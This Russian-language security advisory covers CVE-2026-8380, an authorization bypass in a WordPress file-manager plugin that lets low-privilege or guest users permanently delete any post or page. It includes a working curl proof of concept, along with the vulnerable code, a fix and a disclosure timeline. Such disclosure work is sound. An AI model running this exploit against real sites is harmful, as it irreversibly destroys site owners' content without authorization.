
CVE-2026-8380
Критическая ошибка авторизации была обнаружена в плагине WordPress Frontend File Manager (nmedia-user-file-uploader), затрагивающая версии <= 23.6.
Уязвимость позволяет аутентифицированным пользователям с низкими привилегиями безвозвратно удалять произвольные записи WordPress, страницы, вложения и произвольные типы записей из-за некорректной проверки авторизации в AJAX-эндпоинте удаления.
Если опция плагина _allow_guest_upload=yes включена, уязвимость становится эксплуатируемой неаутентифицированными злоумышленниками.
nmedia-user-file-uploader)Плагин содержит критическую уязвимость обхода авторизации, которая позволяет произвольно удалять контент WordPress из-за несоответствия параметров при проверке внутри AJAX-действия wpfm_delete_file.
Уязвимость была успешно подтверждена в контролируемой лабораторной среде с активной эксплуатацией Proof-of-Concept.
В ходе исследования также были выявлены дополнительные слабости безопасности:
_allow_guest_upload, отключающий проверки авторизации в нескольких эндпоинтахREMOTE_ADDRPOST /wp-admin/admin-ajax.php?action=wpfm_delete_file
inc/files.php
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
? array_map('intval', $_POST['file_ids']) : [];
foreach ($file_ids as $file_id) {
$file = new WPFM_File($file_id);
wp_delete_post($file_id, $bypass_trash);
}
Проверка авторизации подтверждает владение, используя единственный параметр:
$_POST['file_id']
Однако фактическая операция удаления перебирает другой параметр:
$_POST['file_ids[]']
Из-за этого несоответствия злоумышленник может:
file_idfile_ids[]Не существует проверки, гарантирующей:
file_ids[]post_typefile_id и file_ids[]В результате произвольный контент WordPress может быть безвозвратно удалён.
Аутентифицированный пользователь с минимальными привилегиями может безвозвратно удалить:
Удаление выполняется с помощью:
wp_delete_post($file_id, true);
Это означает, что контент удаляется навсегда без возможности восстановления из корзины.
Если включено _allow_guest_upload=yes:
192.168.1.1:8080wpfm_sub : Sub@Test123
ID страницы: 60
ID записи: 61
Злоумышленник посещает страницу, содержащую шорткод:
[ffmwp]
Извлечение nonce:
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce
Ответ:
value="9c233d4720"
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
--data 'action=wpfm_delete_file' \
--data 'wpfm_ajax_nonce=9c233d4720' \
--data 'file_id=57' \
--data 'file_ids[]=60' \
--data 'file_ids[]=61'
| Параметр | Описание |
|---|---|
file_id=57 | Запись, принадлежащая подписчику, для обхода авторизации |
file_ids[]=60 | Страница администратора-жертвы |
file_ids[]=61 | Запись администратора-жертвы |
{
"success": true,
"data": {
"message": "2 files, directories are removed inside SUB-OWNED"
}
}
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
404
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
404
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Проверяйте владение и тип записи для каждого элемента внутри file_ids[].
Пример безопасной реализации:
foreach ($file_ids as $fid) {
if ( ! wpfm_is_current_user_post_author($fid) ) {
wp_send_json_error(...);
}
if ( get_post_type($fid) !== 'wpfm-files' ) {
wp_send_json_error(...);
}
}
| Событие | Дата |
|---|---|
| Уязвимость обнаружена | 2026-05-28 |
| Связались с вендором | 2026-05-28 |
| WPScan опубликовал | 2026-06-04 |
| Публичное раскрытие | 2026-06-18 |
Рекомендация WPScan: https://wpscan.com/vulnerability/45fcbf74-45be-4cff-a81a-0fea903592a5/
Данное исследование было выполнено в контролируемой лабораторной среде исключительно в образовательных целях и для целей исследования безопасности.
Не тестируйте системы без соответствующего разрешения.